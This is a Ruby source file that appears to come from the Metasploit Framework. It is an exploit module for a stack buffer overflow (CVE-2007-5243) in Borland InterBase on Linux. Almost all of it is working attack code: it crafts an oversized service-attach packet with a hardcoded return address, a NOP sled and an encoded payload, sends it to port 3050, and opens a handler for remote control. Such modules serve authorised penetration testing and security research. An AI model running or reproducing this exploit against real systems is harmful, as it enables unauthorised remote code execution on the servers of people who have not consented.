root / modules / exploits / linux / misc / ib_inet_connect.rb @ master
History | View | Annotate | Download (2.3 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
| 17 |
Rank = GoodRanking |
| 18 |
|
| 19 |
include Msf::Exploit::Remote::Tcp |
| 20 |
|
| 21 |
def initialize(info = {}) |
| 22 |
super(update_info(info,
|
| 23 |
'Name' => 'Borland InterBase INET_connect() Buffer Overflow', |
| 24 |
'Description' => %q{ |
| 25 |
This module exploits a stack buffer overflow in Borland InterBase |
| 26 |
by sending a specially crafted service attach request. |
| 27 |
},
|
| 28 |
'Version' => '$Revision$', |
| 29 |
'Author' =>
|
| 30 |
[ |
| 31 |
'ramon',
|
| 32 |
'Adriano Lima <adriano[at]risesecurity.org>',
|
| 33 |
], |
| 34 |
'Arch' => ARCH_X86, |
| 35 |
'Platform' => 'linux', |
| 36 |
'References' =>
|
| 37 |
[ |
| 38 |
[ 'CVE', '2007-5243' ], |
| 39 |
[ 'OSVDB', '38605' ], |
| 40 |
[ 'BID', '25917' ], |
| 41 |
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ], |
| 42 |
], |
| 43 |
'Privileged' => true, |
| 44 |
'License' => MSF_LICENSE, |
| 45 |
'Payload' =>
|
| 46 |
{
|
| 47 |
'Space' => 512, |
| 48 |
'BadChars' => "\x00\x2f\x3a\x40\x5c", |
| 49 |
}, |
| 50 |
'Targets' =>
|
| 51 |
[ |
| 52 |
# 0x0804d2ee 5b5e5f5dc3
|
| 53 |
[ |
| 54 |
'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
|
| 55 |
{ 'Ret' => 0x0804d2ee }
|
| 56 |
], |
| 57 |
], |
| 58 |
'DefaultTarget' => 0, |
| 59 |
'DisclosureDate' => 'Oct 03 2007' |
| 60 |
)) |
| 61 |
|
| 62 |
register_options( |
| 63 |
[ |
| 64 |
Opt::RPORT(3050) |
| 65 |
], |
| 66 |
self.class
|
| 67 |
) |
| 68 |
|
| 69 |
end
|
| 70 |
|
| 71 |
def exploit |
| 72 |
|
| 73 |
connect |
| 74 |
|
| 75 |
# Attach database
|
| 76 |
op_attach = 19
|
| 77 |
|
| 78 |
# Create database
|
| 79 |
op_create = 20
|
| 80 |
|
| 81 |
# Service attach
|
| 82 |
op_service_attach = 82
|
| 83 |
|
| 84 |
length = 161
|
| 85 |
remainder = length.remainder(4)
|
| 86 |
padding = 0
|
| 87 |
|
| 88 |
if remainder > 0 |
| 89 |
padding = (4 - remainder)
|
| 90 |
end
|
| 91 |
|
| 92 |
buf = ''
|
| 93 |
|
| 94 |
# Operation/packet type
|
| 95 |
buf << [op_service_attach].pack('N')
|
| 96 |
|
| 97 |
# Id
|
| 98 |
buf << [0].pack('N') |
| 99 |
|
| 100 |
# Length
|
| 101 |
buf << [length].pack('N')
|
| 102 |
|
| 103 |
# Random alpha data
|
| 104 |
buf << rand_text_alpha(length - 5)
|
| 105 |
|
| 106 |
# Target
|
| 107 |
buf << [target.ret].pack('L')
|
| 108 |
|
| 109 |
# Separator
|
| 110 |
buf << ':'
|
| 111 |
|
| 112 |
# Padding
|
| 113 |
buf << "\x00" * padding
|
| 114 |
|
| 115 |
# Database parameter block
|
| 116 |
|
| 117 |
# Length
|
| 118 |
buf << [1024].pack('N') |
| 119 |
|
| 120 |
# It will return into this nop block
|
| 121 |
buf << make_nops(1024 - payload.encoded.length)
|
| 122 |
|
| 123 |
# Payload
|
| 124 |
buf << payload.encoded |
| 125 |
|
| 126 |
sock.put(buf) |
| 127 |
|
| 128 |
handler |
| 129 |
|
| 130 |
end
|
| 131 |
|
| 132 |
end
|